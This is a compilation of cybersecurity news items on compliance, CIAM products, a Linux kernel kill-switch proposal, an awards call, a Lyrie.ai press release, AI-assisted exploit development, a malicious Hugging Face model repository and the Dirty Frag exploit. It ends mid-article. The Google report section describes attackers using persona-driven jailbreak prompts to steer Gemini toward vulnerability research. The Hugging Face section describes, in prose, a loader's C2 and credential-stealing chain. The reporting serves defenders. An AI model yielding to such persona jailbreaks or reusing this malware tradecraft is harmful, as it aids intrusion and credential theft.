Nichteinhaltung abwägen. Angenommen ein Unternehmen erfüllt eine Best Practice für die Verwaltung von Berechtigungen nicht vollständig: Bei Nichteinhaltung der Vorschriften können die zugrunde liegenden Schwachstellen neben möglichen Klagen von Anteilseignern noch größere Auswirkungen auf das Unternehmen haben, einschließlich Ausfallzeiten, Ransomware-Zahlungen und Umsatzeinbußen. Die Erfüllung der Compliance-Anforderungen könnte hingegen einen geschäftlichen Nutzen bringen, beispielsweise durch schnellere Verkäufe, stärkere Partnerschaften oder niedrigere Cyberversicherungsraten. Wie CISOs Compliance-Rahmenwerke nutzen können CISOs können vorhandene Compliance-Frameworks als Methodik für Techniken und Prozesse verwenden, um sie in ihr Cybersicherheitsprogramm einzubauen. Zu ihren Aufgaben gehört es im Wesentlichen, über die Programmprioritäten zu informieren und eine “Einkaufsliste” für Lösungen zu erstellen, die sie unbedingt benötigen und die mit dem Programm, das sie aufbauen wollen, übereinstimmen. Aber es gibt auch einen Unterschied zwischen der Verwendung eines Compliance-Rahmenwerkes zur Steuerung eines fundierten Risikomanagements und der exakten Einhaltung von Vorschriften. Hier gilt es einen Balanceakt zu meistern und fallweise auch risikobasierte Entscheidungen zu treffen. CISOs brauchen Partner bei der Einhaltung von Vorschriften CISOs sitzen bei der Einhaltung von Vorschriften nicht allein im Boot. Sie müssen Partnerschaften mit Rechtsteams, Datenschutzbeauftragten und Prüfungs- oder Risikoausschüssen aufbauen, um die sich ändernden Compliance-Anforderungen zu verstehen und zu entscheiden, wie sie zu erfüllen sind. Manchmal verlangen diese internen Partner von den Sicherheitsteams, dass sie stärkere Kontrollen einführen, aber sie können auch auf die Bremse treten. So würden manche CISOs gerne das Verhalten ihrer Mitarbeiter detailliert überwachen, aber die Datenschutzgesetze verbieten dies und die Rechtsabteilung sorgt dafür, dass diese Gesetze eingehalten werden. Compliance-Teams erledigen viele Dinge für die Sicherheitsingenieure und -analysten, die weder die Zeit noch die Ressourcen dafür haben. Sie nehmen die Sicherheit in die Pflicht und überprüfen, ob die Kontrollen wie erwartet funktionieren. Sie fungieren quasi als Vermittler zwischen Sicherheitsteams, Aufsichtsbehörden und Prüfern, um die Einhaltung der Vorschriften nachzuweisen, sei es durch das Sammeln von Beweisen mittels manueller Sicherheitsfragebögen oder durch Technologieintegrationen. Für eine Zertifizierung im öffentlichen Sektor müssen beispielsweise die Sicherheitskontrollen überwacht, protokolliert und die Daten mindestens sechs Monate lang aufbewahrt werden, um nachzuweisen, dass alle Vorgaben erfüllt wurden. Lesetipp: Wie internationale Security Frameworks CISOs unterstützen Tools und Ressourcen zur Unterstützung der Einhaltung von Vorschriften Risikoregister sind hilfreich, um alle Beteiligten an einen Tisch zu bringen, indem sie alle Risiken dokumentieren und nach Prioritäten ordnen. Wenn alle Beteiligten die gleichen Informationen einsehen, können sie sich auf geeignete Maßnahmen einigen. Im Rahmen eines Risikomanagementprogramms werden Richtlinien, Standards und Verfahren regelmäßig überprüft und alle Änderungen vor ihrer Umsetzung genehmigt. Mithilfe von Tools wie Governance, Risk, and Compliance (GRC)-Systemen und kontinuierlicher Überwachung der Einhaltung von Vorschriften wie NIS-2 und ISO können Unternehmen laufende Sicherheitsaktivitäten verfolgen und die Ergebnisse melden. GRC-Systeme lassen sich mit SIEM-Lösungen verknüpfen, um Protokolle zu sammeln, durch die Kombination mit Schwachstellen-Scannern kann man nachzuweisen, dass Prüfungen durchgeführt wurden. Zusätzlich zu solchen Instrumenten verlassen sich viele Unternehmen auf Dritte, um die Einhaltung der Vorschriften zu bewerten. Diese können vor einer externen Prüfung ein internes Compliance-Audit durchführen, um sicherzustellen, dass es keine Überraschungen gibt, wenn die Aufsichtsbehörden vorbeikommen. Einmal erfüllen, auf viele anwenden Die meisten Unternehmen haben zahlreiche Compliance-Stellen, denen sie Rechenschaft ablegen müssen, sowie Cyberversicherungsanbieter, Kunden und Partner. Die Einhaltung von Vorschriften kann zwar eine Belastung sein, aber es gibt Techniken, um den Bewertungsprozess zu rationalisieren. Immerhin ist ein Großteil der gesetzlichen Anforderungen beinahe identisch. Orientieren sich CISOs beispielsweise an einem Rahmenwerk wie NIST, können sie überall die gleichen Verfahren anwenden. So sind zum Beispiel Anforderungen an das Privileged Access Management (PAM) wie Passwortmanagement, Multi-Faktor-Authentifizierung (MFA) und rollenbasierte Zugriffskontrollen in allen Compliance-Frameworks zu finden. Ausblick Letztlich ist die Einhaltung von Vorschriften ein fließender Bereich mit Anforderungen, die sich weiterentwickeln, um den sich ändernden Risikomustern und Geschäftsbedingungen Rechnung zu tragen. Es ist zu erwarten, dass die Sicherstellung der Compliance in Zukunft einen noch größeren Teil der Arbeit von CISOs ausmachen wird. Da die Branche mit immer größeren Bedrohungen konfrontiert ist, ist die Einhaltung von Vorschriften ein wichtiger Bestandteil eines strategischen und umfassenden Ansatzes für das Management von Cybersicherheitsrisiken. (jm) Lesetipp: Das fordert das neue KRITIS-Dachgesetz View the full article

Jackie Niam | shutterstock.com Customer Identity & Access Management (CIAM) bildet eine Unterkategorie von Identity & Access Management (IAM). CIAM wird dazu eingesetzt, die Authentifizierungs- und Autorisierungsprozesse von Applikationen zu managen, die öffentlich zugänglich sind, beziehungsweise von Kunden bedient werden. Geht es darum, die für Ihr Unternehmen passende CIAM-Lösung zu ermitteln, gilt es, die Benutzerfreundlichkeit mit einer langen Liste von Geschäftszielen und -anforderungen ins Gleichgewicht zu bringen: Marketingverantwortliche wollen Daten über Kunden und deren Geräte sammeln. Datenschutzbeauftragte wollen sicherstellen, dass alle Prozesse mit den Datenschutzbestimmungen in Einklang stehen. Security- und Risiko-Entscheider wollen die Integrität der Konten sicherstellen und die betrügerische Nutzung von Anmeldedaten so weit wie möglich verhindern. Um Sie bei diesem heiklen Balanceakt zu unterstützen, haben wir die derzeit besten Lösungen, die der Markt für Customer Identity & Access Management zu bieten hat, für Sie zusammengestellt. Empfehlenswerte Customer Identity & Access Management Tools Die folgenden CIAM-Plattformen und -Lösungen werden von Analysten und Kunden aufgrund ihres Funktionsumfangs, ihrer Erweiterbarkeit und ihrer Benutzerfreundlichkeit bevorzugt. IBM Security Verify Im Enterprise-Bereich erhält IBMs Security Verify gute Noten für seine robuste Infrastruktur, die durch eine containersierte Multi-Cloud-Architektur gestützt wird. Diese ist nicht nur skalierbar, sondern bietet Unternehmen auch die Möglichkeit, isolierte Kundeninstanzen zu managen. Dabei bietet die IBM-Lösung Support für eine Vielzahl von Authentifizierungsstandards, inklusive FIDO 2 Server-Zertifizierung. Um Marketing-Analysen oder BI-Funktionen zu integrieren, können die Kunden entweder das IBM-eigene Ökosystem oder Drittanbieter über ein ausgedehntes Konnektoren-Portfolio ins Boot holen. Ein wichtiges Alleinstellungsmerkmal des IBM-Produkts: Während viele andere CIAM-Produkte in Sachen risikobasierte Authentifizierung und Betrugsbekämpfung nur Integrationsoptionen anbieten können, bringt Security Verify diese Funktionen nativ mit: Die “Trusteer”-Funktionen nutzen Analysefunktionen, um Betrug mit Hilfe von KI-gestütztem, adaptivem Zugriff zu reduzieren. Das System nutzt eine Kombination aus Anomalieerkennung, Erkennung von Betrugsmustern und anderen passiven Verhaltensanalysen, um die Vertrauenswürdigkeit eines Kontos zu bewerten und die Authentifizierungsanforderungen entsprechend anzupassen. Darüber hinaus bietet die IBM-Lösung auch ein Self-Service-Portal für die Benutzer, um Einwilligungen zu managen sowie eine Low-Code/No-Code-Management-Funktion, die Datenschutzbeauftrage und Business-Entscheidern ermöglicht, Datenschutzrichtlinien und -anforderungen ohne die Hilfe von Softwareentwicklern festzulegen und zu optimieren. LoginRadius Wenn Sie in Sachen CIAM eine schlüsselfertige Lösung suchen, die für ihre einfache Implementierung und Bedienung bekannt ist, sollten Sie einen Blick auf das Angebot von LoginRadius werfen: Sie bringt umfassenden API-Support mit und lässt sich in vielfacher Hinsicht an ihre Bedürfnisse anpassen. Allerdings handelt es sich hierbei nicht um eine Plattform, die für umfangreiche Code-Anpassungen unter der Haube gedacht ist. Vielmehr adressiert sie als No-Code-Lösung Unternehmen, die wenig bis gar keine Entwicklungsarbeit leisten wollen oder können. Onboarding-Workflows werden über eine grafische Benutzeroberfläche abgewickelt, Richtlinien über Dropdown-Listen erstellt. Zu Integrationszwecken steht ein Marktplatz mit vordefinierten Konnektoren zur Verfügung. Darüber hinaus enthält die CIAM-Plattform auch eine integrierte Analyse-Engine mit Dutzenden von Reportings für Marketing- und Identitätsanalysen. Um Datenschutz- und Compliance-Anforderungen gerecht zu werden, stehen grundlegende Consent-Management- und Self-Service-Funktionen zur Verfügung – zudem wird etwa Social Login unterstützt. Für die einfache Bedienung und die Deployment-Vorzüge opfern Unternehmen ein gewisses Maß an Kontrolle: So verfügt das Tool zwar über eine Authentifizierungs-Risiko-Engine, bietet aber nur wenig Kontrolle über dessen Priorisierung. Für Betrugserkennungs-Funktionen von Drittanbietern stehen nicht besonders viele Konnektoren zur Verfügung und Geräteattribute werden für Risikobewertungen und -analysen zwar untersucht, allerdings nur in begrenztem Umfang. Microsoft Entra Microsoft ist zwar ein wichtiger Akteur auf dem breiteren IAM-Markt, arbeitet sich in Sachen CIAM aber immer noch auf der Reifegradskala nach oben. Im Rahmen ihrer letzten großen Access-Management-Analyse argumentierten die Marktforscher von Gartner, die CIAM-Funktionen von Azure AD seien im Vergleich zu den Konkurrenzangeboten unausgereift, weswegen die meisten Kunden das Produkt nur für Workforce-Szenarien verwendeten. Seitdem ist allerdings viel passiert: Microsoft hat mit Nachdruck in sein gesamtes Identity-Portfolio investiert und sich mit einer neuen Produktlinie namens Entra positioniert. Diese umfasst nun das komplette Azure-AD-Paket, inklusive der CIAM-Funktionalitäten von Azure AD External Identities – zudem wurde auch die Open-Standard-Plattform Verified ID in den Mix aufgenommen. Microsoft setzt auf dieses dezentrale Identitätsnachweis-Ökosystem in erster Linie für Mitarbeiterszenarien und setzt damit einen langfristigen strategischen Schwerpunkt, der sich vermutlich auch auf externe Anwendungsfälle erstrecken wird. Trotz einiger großer Funktionslücken – etwa fehlende Consumer Privacy Dashboards oder der eher rudimentären Adaptive-Authentication-Policy-Konstruktion – hat Azure AD External Identities Vorteile: Es ist extrem skalierbar, einfach zu bedienen und verfügt über einige starke Account-Takeover-Schutzmechanismen. Zudem lässt es sich gut mit Microsofts BI- und CRM-Plattformen für erweiterte Analysen integrieren und bietet ein kontinuierlich wachsendes Integrations-Ökosystem. Okta / Auth0 Nach der Übernahme von Auth0 will Okta das CIAM-Produkt von Auth0 als eigenständiges Angebot neben den hauseigenen CIAM-Funktionen beibehalten, um Kunden maximale Flexibilität bei der Implementierung zu bieten. Nichtsdestotrotz wird es zu Überschneidungen und Integrationen kommen – Okta hat bereits mehrere Funktionen kombiniert, um die Fähigkeit zu Zusammenarbeit und Innovation zu beschleunigen. Auth0 bietet zwar einige Workforce-IAM-Funktionen an, aber diese Plattform ist mit CIAM-Anwendungsfällen groß geworden – entsprechend stark ausgeprägt ist der Fokus auf diesen Bereich. Laut den Analysten von Gartner eignet sich die CIAM-Lösung von Auth0 vor allem dann, wenn Entwickler Access Management für Verbraucher in individuell entwickelte, API-lastige Anwendungen einbauen müssen. Dazu kombiniert die Plattform “großartige UX-Flows und UI-Anpassungsfähigkeiten” mit “umfassenden Entwickler-Tools und vollständiger API-Unterstützung”, heißt es in Gartners Magic Quadrant. Das gesamte Okta-CIAM-Portfolio verfügt über eine Reihe von Konnektoren für Business Intelligence, CRM, Marketing-Analytics und -Automatisierung, andere IAM-Plattformen, beliebte SaaS-Anwendungen und Plattformen zur Betrugsbekämpfung. Raum nach oben gibt es bei diesem Produkt, wenn es darum geht, Geräteintelligenz und Verhaltensbiometrie in die nativen Funktionen der Plattform zu integrieren. OneLogin Der Identity-as-a-Service (IdaaS)-Anbieter OneLogin gehört in Gartners Magic Quadrant für Access Management zur Spitzengruppe und bietet einige abgespeckte, entwicklerfreundliche CIAM-Funktionen. Die könnten speziell für Unternehmen, die eine erschwingliche Option für den Aufbau einer stärkeren Kundenauthentifizierung suchen, hilfreich sein. Laut Gartner liegt die Stärke von OneLogin auch in den erschwinglichen Preisen, die das Unternehmen für externe Zugriffsmanagement-Anwendungen aufruft. Die Lösung selbst zeichnet sich dabei durch seine flexible Erweiterbarkeit mit umfangreicher Entwicklerunterstützung und seine robusten APIs aus. Die Serverless Smart-Hooks-API-Funktion soll Entwickler dabei unterstützen, CIAM-Workflows und -Richtlinien anzupassen, um möglichst nahtlose und sichere Benutzererfahrungen während der Anmeldung zu gewährleisten. Entlastung gibt es auch, wenn es um Single-Sign-On geht – auch hier unterstützt das Tool dabei, entsprechende Funktionen in Consumer-Apps einzubauen. Im Gegensatz zu vielen anderen CIAM-Lösungen in dieser Übersicht, gehören allerdings keine Out-of-the-Box-Funktionen für Consent Management oder geschäftsorientierte Funktionen wie Marketing-Analysen und Automatisierung zum Paket – es handelt sich in erster Linie um eine Authentifizierungs- und Autorisierungslösung. Nach der Übernahme durch One Identity war erwartet worden, dass sich das Portfolio stärker in Richtung Workforce IAM entwickeln wird. Davon ist ein Jahr später allerdings noch nichts zu sehen. Ping Identity Ping Identity ist einer der ersten Enterprise-IAM-Anbieter, der in CIAM-Gewässer abtaucht. Dabei überzeugt er vor allem in Sachen Identitäsnachweise, -orchestrierung und Analytics-Funktionen – auch der Umfang der unterstützten Authentifikatoren sowie die Dokumentation und Sicherheit der API-Konnektoren sind positiv hervorzuheben. Ein “Fraud”-Modul spürt darüber hinaus mit Hilfe von Echtzeit-Verhaltensnavigation, Verhaltensbiometrie, Geräte- und Netzwerkattributen potenzielle, betrügerische Angriffe auf. Auch die Integration mit externen Betrugserkennungs-Plattformen ist möglich. Ping Identity hebt sich von anderen Anbietern zudem dadurch ab, dass es den FIDO-2-Standard nicht nur unterstützt, sondern einen entsprechend zertifizierten Server betreibt. Die Analysten von KuppingerCole sehen auch Schwachpunkte, etwa die nur rudimentäre Verwaltung von Berechtigungen für Verbraucher, die in den meisten Fällen zusätzliche Entwicklungs- und Integrationsarbeit erfordern. Auch die noch in der Entwicklung befindlichen Out-of-the-Box-Konnektoren für erweiterte Business Intelligence, Customer Relationship Management und Marketing-Analytics bemängeln die Analysten – bewerten das Ping-Identity-Offering aber dennoch sehr positiv. Laut Gartner gehört Ping Identity zu den “erschwinglicheren Optionen auf dem CIAM-Markt”. Im August 2023 übernahm der Ping-Identity-Mutterkonzern Thoma Bravo den Sicherheitsanbieter Forge Rock – und integrierte dessen Potfolio in Ping Identity. (fm) Dieser Artikel ist im Original bei unserer Schwesterpublikation CSOonline.com erschienen. View the full article

Linux server admins may get the ability to turn off a vulnerable function in the OS kernel until a patch for a zero-day vulnerability is ready, if a proposal from a kernel developer and maintainer is accepted by the open source community. The idea of a kill switch for privileged operators has been suggested by Sasha Levin, a distinguished engineer at Nvidia and co-maintainer of the long-term support and stable Linux kernel trees, as a mitigation when a security hole is discovered. As he pointed out in a recent post, when a vulnerability is found, “fleets stay exposed until a patched kernel is built, distributed and rebooted into. For many such issues, the simplest mitigation is to stop calling the buggy function.” In his post, Levin and a colleague also provided a proposed version of a kernel kill switch. “For most users,” Levin pointed out, “the cost of ‘this socket family stops working for the day’ is much smaller than the cost of running a known vulnerable kernel until the fix lands.” The proposal comes at a time when several high severity Linux vulnerabilities have been discovered, including Copy Fail (CVE-2026-31431), a logic bug which lets users easily obtain root access, and Dirty Frag, which abuses weaknesses in how the Linux kernel handles fragmented memory pages. The Dirty Frag attack combines two separate vulnerabilities affecting the Linux IPsec Encapsulating Security Payload (ESP) subsystem (CVE-2026-43284) and the RxRPC networking protocol (CVE-2026-43500). Security forum users opposed The proposal has set off a furious debate among infosec pros. For example, in the r/cybersecurity Reddit forum, it’s been called a “terrible idea,” “ridiculous,” “absolutely terrifying,” and “just too risky.” “People will use a kill switch instead of patching,” argued a contributor. “If you know how Linux works, you don’t need it,” added another contributor, who said that within a couple of hours of the release of the Dirty Drag exploit, he had the code analyzed and mitigations ready. “If you don’t know how Linux works,” he added, “you shouldn’t use any kill switch.” Linux and security experts are cautious. “[A kill switch is] nice in theory, but I don’t think it accelerates my movement to protection any faster than what we deal with today, considering change control must still be carefully tested and managed,” Kellman Meghu, chief technology officer at Canadian-based incident response firm DeepCove CyberSecurity, told CSO. “It is easy for a developer to say ‘Just unload that kernel module,’ but the harder part is attesting to the business there is no impact to the services, at which point I am asking why this module was loaded at all if it was never needed? That sounds like a gap in my hardening and build process,” he said. Meghu foresees at least two problems with a kill switch: First, few admins are be able to easily assess its impact on their organization’s services. A kill switch would easily work for the Copy Fail hole, he said, “but as a strategy for all potential risks? What will be the change impact of disabling kernel functions? It would need to be tested and validated, and that still takes time and effort to truly validate outside of production.” Second, he said, just triggering the kill switch and hoping is not a great strategy for enterprise supported applications. The Copy Fail hole isn’t typical of all issues Linux pros face, Meghu added. In short, he said, the kill switch “seems like a Band-Aid that only works on certain cuts.” Robert Enderle of the Enderle Group said the kill switch proposal is a classic ‘break-glass-in-case-of-emergency’ tool. He said, “For enterprise admins, it’s a highly pragmatic response to the lag between a zero-day disclosure and a deployed patch. In high-availability environments where rebooting a fleet is a nightmare, being able to kill a specific, non-essential function (like an obscure networking protocol) that’s currently being exploited is a huge win. It basically trades a niche feature for immediate system integrity without the downtime of a full patch cycle.” However, he added, that power would be a double-edged sword. “While it doesn’t create a new entry point — you still need root access to pull the trigger — it opens the door for massive self-inflicted Denial of Service. There’s no safety net; if an admin kills a critical memory management function by mistake, the system is toast.” He pointed out that it also risks becoming a crutch that lets organizations delay actual patching. “It’s a sharp tool that belongs in the hands of sophisticated security teams, but for the average sysadmin, it’s probably a bit too ‘nuclear’ for comfort,” he said. “Given how IT is staffed these days, this is likely way too dangerous for most to consider using.” But an official at Linux distributor Red Hat said the company thinks it will work. “We’re supportive of incorporating kill switch capabilities into the kernel, especially as the pace and severity of exploits expand due to LLM-driven scanning,” Mike McGrath, vice president for core platforms at Red Hat, told CSO. “Patches are absolutely critical to address CVEs, but they’re also frequently disruptive. Most organizations operating at scale must weigh patch-based protection against the production impact of restarts and updates. This means that non-disruptive mitigations, which Red Hat frequently provides through all available means, are vital for ‘in the moment’ protection until a permanent patch can be verified and deployed.” View the full article

Nominations are now open for the 2026 CSO30 Australia Awards, celebrating the country’s most effective and influential cybersecurity leaders. The CSO30 Awards will once again be held alongside the CIO50 Awards, bringing together Australia’s leading technology and security executives for a flagship industry event on 22 September in Sydney. Part of Foundry’s prestigious global awards program, the CSO30 recognises senior cybersecurity professionals who are driving innovation, strengthening organisational resilience, and shaping the future of security across industries. In 2026, nominees will be assessed across two core pillars: business value and leadership. Judges will evaluate cybersecurity initiatives delivered over the past two years that have improved organisational security, resilience, and operational performance, alongside each nominee’s leadership, influence, and contribution to the broader cybersecurity community. The program will also recognise emerging talent through the Next CISO Award, spotlighting a rising cybersecurity leader demonstrating exceptional promise, impact, and leadership potential. The CSO30 Australia Awards are open to senior cybersecurity leaders responsible for defining and executing security strategy within an Australian organisation. All submissions must be submitted online and will be reviewed confidentially by an independent panel of experienced judges and industry experts. Entries close on 26 June 2026. View the full article

Dubai-founded OTT Cybersecurity LLC also unveils the Agent Trust Protocol (ATP), the first open cryptographic standard for AI agent identity, scope, and action verification — slated for IETF submission. OTT Cybersecurity LLC, the company behind Lyrie.ai, today announced two milestones that together position the company as foundational infrastructure for the agentic AI era: acceptance into Anthropic’s Cyber Verification Program (CVP), and the public release of the Agent Trust Protocol (ATP), an open cryptographic standard for securing AI agents operating autonomously on the internet. “Being among the first companies accepted into Anthropic’s Cyber Verification Program validates what we’ve built. Lyrie isn’t a security tool that sits alongside AI. It’s the security layer that AI runs on top of.” — Guy Sheetrit, CEO and Founder of OTT Cybersecurity LLC, the company behind Lyrie.ai A New Layer of Security for Autonomous AI Agents Enterprises and governments are deploying autonomous AI agents at unprecedented speed — agents that read mail, write code, move money, sign contracts, and act on behalf of human operators. The security model for those agents has not existed at enterprise scale. Lyrie was built to change that. The Agent Trust Protocol (ATP), authored by Lyrie’s research team and now open to the public at lyrie.ai/research, is a cryptographic standard that lets any system verify, in real time, what AI agent it is communicating with, what that agent is authorized to do, and whether the agent or its instructions have been tampered with. The protocol covers five primitives: Identity — who the AI agent is. Scope — what it is authorized to do. Attestation — whether it or its instructions have been tampered with. Delegation — who delegated authority. Revocation — whether that authority has been revoked. “Every AI agent on the internet today is a stranger. You don’t know who it is, what it’s authorized to do, or whether it’s been tampered with. ATP is the protocol that changes that.” — Guy Sheetrit, CEO and Founder of OTT Cybersecurity LLC, the company behind Lyrie.ai ATP is open, royalty-free, and slated for submission to the Internet Engineering Task Force (IETF). The reference implementation is published under MIT license at github.com/OTT-Cybersecurity-LLC/lyrie-ai. Acceptance into Anthropic’s Cyber Verification Program OTT Cybersecurity LLC was accepted into Anthropic’s Cyber Verification Program (CVP), Anthropic’s framework for verifying legitimate dual-use cybersecurity operators. CVP acceptance supports Lyrie’s work around vulnerability research, offensive security tooling, and red-team workflows on Claude’s AI infrastructure, subject to Anthropic’s applicable safety and security policies. Lyrie is also exploring similar verification pathways with other leading AI labs as part of its mission to build trusted security infrastructure for autonomous AI systems. About Lyrie Lyrie is an integrated offensive and defensive cybersecurity platform designed for the AI era. The platform includes: lyrie hack — a single-command workflow that executes a seven-stage autonomous penetration test, producing proof-of-concept exploits alongside code-level remediation guidance. GPU-powered red teaming — adversarial testing workflows using GCG and AutoDAN on H200 GPU infrastructure, with support for Crescendo and TAP attack chains. OWASP ASI 2026 alignment — threat coverage mapped to the OWASP Agentic Security Initiative taxonomy. Omega-Suite binary analysis — autonomous workflows focused on zero-day vulnerability discovery within compiled software. Flexible deployment architecture — scalable across consumer-grade hardware and enterprise GPU clusters. Integrated security toolkit — nine built-in tools spanning reconnaissance, exploitation, and remediation capabilities within a unified agent environment. About OTT Cybersecurity LLC and Lyrie.ai OTT Cybersecurity LLC, based in Dubai, United Arab Emirates, is the company behind Lyrie.ai, a security infrastructure platform built for the AI agent ecosystem. The company’s approach is rooted in the belief that effective cybersecurity solutions are developed by teams with real-world operational experience in high-risk and adversarial environments. For more information: https://lyrie.ai | Research: https://lyrie.ai/research | GitHub: github.com/OTT-Cybersecurity-LLC/lyrie-ai Contact Guy Sheetrit [email protected] View the full article

The Google Threat Intelligence Group (GTIG) today released evidence of a zero-day exploit developed by a cybercriminal group with the help of AI. It marks the first time the security research group has identified what it believes to be an AI-crafted zero-day exploit in the wild. While evidence of threat actors using AI models for vulnerability research and discovery has existed for some time, instances of AI-generated zero-day exploits have proved rare or difficult to confirm. “We observed prominent cyber crime threat actors partnering to plan a mass vulnerability exploitation operation,” GTIG researchers wrote in a new report about AI abuse by malicious attackers. “Our analysis of exploits associated with this campaign identified a zero-day vulnerability implemented in a Python script that enables the user to bypass two-factor authentication (2FA) on a popular open-source, web-based system administration tool.” While GTIG hasn’t named the impacted tool, the team disclosed the vulnerability to the vendor and possibly hindered mass exploitation. Such incidents may become more common, however, as AI models’ reasoning capabilities are advancing to the point where they can discover high-level logic flaws rather than just basic memory corruption and improper input sanitization bugs. This was the case with the discovered Python 2FA bypass exploit, which required credentials to exploit but stemmed from the tool’s developers hardcoding an ineffective trust assumption. “Though frontier LLMs struggle to navigate complex enterprise authorization logic, they have an increasing ability to perform contextual reasoning, effectively reading the developer’s intent to correlate the 2FA enforcement logic with the contradictions of its hardcoded exceptions,” the GTIG researchers concluded. “This capability can allow models to surface dormant logic errors that appear functionally correct to traditional scanners but are strategically broken from a security perspective.” GTIG has offered sufficient evidence to suggest that an AI model was used to both discover the vulnerability and write the exploit. For example, the Python script contains educational strings and a hallucinated CVSS score. The code also follows textbook Python programming elements that are consistent with LLM training data, but a human would not include in an exploit, such as detailed help menus and the clean _C ANSI color class. Other evidence of AI-assisted vulnerability discovery While the 2FA exploit was not developed using Google’s Gemini family of models, GTIG has discovered other instances where known threat actors have tried to abuse Gemini for exploit discovery. This is consistent with observations of other frontier AI labs like Anthropic and Open AI. Google researchers recently observed a Chinese cyberespionage group it tracks as UNC2814 trying to bypass Gemini guardrails with prompts to direct the model to act as a security expert specialized in embedded devices. The attackers tried to use such persona-driven jailbreak prompting to analyze the firmware of TP-Link and other embedded devices for vulnerabilities. Implementations of the Odette File Transfer Protocol (OFTP) were also targeted. UNC2814 has targeted telecommunications and government entities from more than 42 countries since 2017. The group has a history of gaining initial access into networks by exploiting vulnerabilities in edge systems and web applications. In a different AI abuse case, a North Korean state-linked threat group tracked as APT45 was observed sending thousands of prompts to Gemini with the goal of analyzing various known flaws or validating proof-of-concept exploits. The goal was likely to build a more robust arsenal of exploits for n-day vulnerabilities. Attackers were also observed priming AI models with known vulnerability data to improve their accuracy in code analysis and to discover flaws that would otherwise be harder to detect. One example is a skill plug-in for Claude Code, Anthropic’s terminal-based agentic coding agent, that contains information distilled from 85,000 real-world vulnerability cases collected by Chinese bug bounty platform WooYun between 2010 and 2016. “To facilitate these activities, actors are also experimenting with agentic tools such as OpenClaw and OneClaw alongside intentionally vulnerable testing environments,” the GTIG researchers wrote. “The use of these tools alongside vulnerability research suggests an interest in refining AI-generated payloads within controlled settings to increase exploit reliability prior to deployment.” The GTIG report contains other examples of AI usage in the cyberattack lifecycle, including malware development and obfuscation, autonomous attack orchestration, infrastructure deployment, agentic workflows for generating deepfake content used in information campaigns, and more. View the full article

A malicious Hugging Face repository posing as an OpenAI release delivered infostealer malware to Windows systems and logged 244,000 downloads before being removed, raising fresh concerns about how enterprises source and validate AI models from public repositories. The repository, named Open-OSS/privacy-filter, impersonated OpenAI’s legitimate Privacy Filter release, copied its model card almost word-for-word, and included a malicious loader.py file that fetched and executed credential-stealing malware on Windows hosts, AI security firm HiddenLayer said in a research advisory. “The repository reached the #1 trending position on Hugging Face with approximately 244K downloads and 667 likes in under 18 hours, numbers that were almost certainly artificially inflated to make the repository appear legitimate,” the advisory added. The incident highlights growing concerns that public AI model registries are emerging as a new software supply-chain risk for enterprises, particularly as developers and data scientists increasingly clone open-source models directly into corporate environments with access to source code, cloud credentials, and internal systems. The README accompanying the fake model diverged from the legitimate project in one key area, instructing users to run start.bat on Windows or execute python loader.py on Linux and macOS. Researchers have previously found malicious code hidden inside Pickle-serialised model files on Hugging Face that bypassed the platform’s scanners. They have also warned that the AI supply chain is lagging behind traditional software in oversight and tooling. Malicious loader disguised as a legitimate model setup According to HiddenLayer, the loader.py script first executes decoy code that resembles a legitimate AI model loader before launching a concealed infection chain. The script disabled SSL verification, decoded a base64-encoded URL linked to the public JSON hosting service jsonkeeper.com, retrieved a remote payload instruction, and passed commands to PowerShell. “Using jsonkeeper[.]com as the C2 channel lets the attacker rotate the payload without modifying the repository,” the researchers wrote. The resulting PowerShell command downloaded an additional batch file from an attacker-controlled domain and established persistence by creating a scheduled task designed to mimic a legitimate Microsoft Edge update process. The infection chain ultimately deployed a Rust-based infostealer targeting Chromium and Firefox-derived browsers, Discord local storage, cryptocurrency wallets, FileZilla configurations, and host system information, the advisory said. The malware also attempted to disable Windows Antimalware Scan Interface and Event Tracing for Windows while checking for sandbox and virtual machine environments to evade analysis. Part of a broader AI supply chain targeting HiddenLayer, in its advisory, said that it identified six additional Hugging Face repositories uploaded under a separate account that used nearly identical loader logic and shared infrastructure with the campaign. The researchers also linked elements of the operation to earlier software supply-chain attacks involving npm typosquatting campaigns and fake AI packages distributed through PyPI. The shared infrastructure “suggests these campaigns are possibly linked and likely part of a broader supply chain operation targeting open-source ecosystems,” HiddenLayer wrote. The incident follows earlier warnings from researchers about malicious code embedded inside Pickle-serialized AI model files on Hugging Face, as well as separate campaigns involving poisoned AI SDKs and fake OpenClaw installers. Traditional security controls are falling short The incident also exposes limitations in existing software composition analysis and application security tooling when applied to AI artifacts, analysts said. “Traditional SCA was designed to inspect dependency manifests, libraries, and container images, not the increasingly complex behaviors associated with AI development workflows,” said Sakshi Grover, senior research manager for cybersecurity services at IDC. “It is far less effective at identifying malicious loader logic concealed within seemingly legitimate AI repositories.” Jaishiv Prakash, director analyst at Gartner, said enterprises now need dedicated governance controls at the AI registry layer itself. “Enterprises must establish dedicated controls for model sources, approved versions, access, and runtime validation at the registry layer,” Prakash said, adding that model repositories distribute executable artifacts and embedded logic that often fall outside the effective scope of traditional SCA tools. IDC’s November 2025 FutureScape report predicts that by 2027, 60% of enterprises deploying agentic AI systems will require an AI bill of materials to support continuous vulnerability scanning and compliance assurance, Grover said. What should enterprises do now HiddenLayer urged affected users to treat impacted systems as fully compromised and prioritize reimaging over cleanup efforts. “If you cloned Open-OSS/privacy-filter and executed start.bat, python loader.py, or any file from the repository on a Windows host, treat the system as fully compromised,” the advisory said. Browser sessions should also be considered compromised even where passwords were not stored locally, the researchers added, because stolen session cookies can bypass multifactor authentication protections. The company also recommended blocking listed indicators of compromise, rotating credentials, invalidating active sessions, and conducting historical network hunts for connections tied to the campaign. Hugging Face confirmed to HiddenLayer that the repository violated its terms of service and removed it from the platform, according to the advisory. View the full article

A newly disclosed Linux privilege escalation issue dubbed “Dirty Frag” is giving attackers a cleaner path to post-compromise escalation to root privileges. According to Microsoft, a couple of vulnerabilities constituting the issue, affecting Linux kernel networking and memory-fragment handling components, are already seeing active exploitation in the wild. The exploitation attempts look indistinguishable from the recently disclosed Copy Fail campaigns. “Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account,” Microsoft researchers said in a security blog post, adding that affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft also said the exploit stands out because it avoids many of the instability issues typically associated with Linux local privilege escalation exploits using race-condition dependent bugs. Turning Linux memory fragmentation into root access According to Microsoft, the Dirty Frag exploit chain abuses weaknesses in how the Linux kernel handles fragmented memory pages, allowing attackers to overwrite protected page-cache-backed data and escalate privileges to root access. The 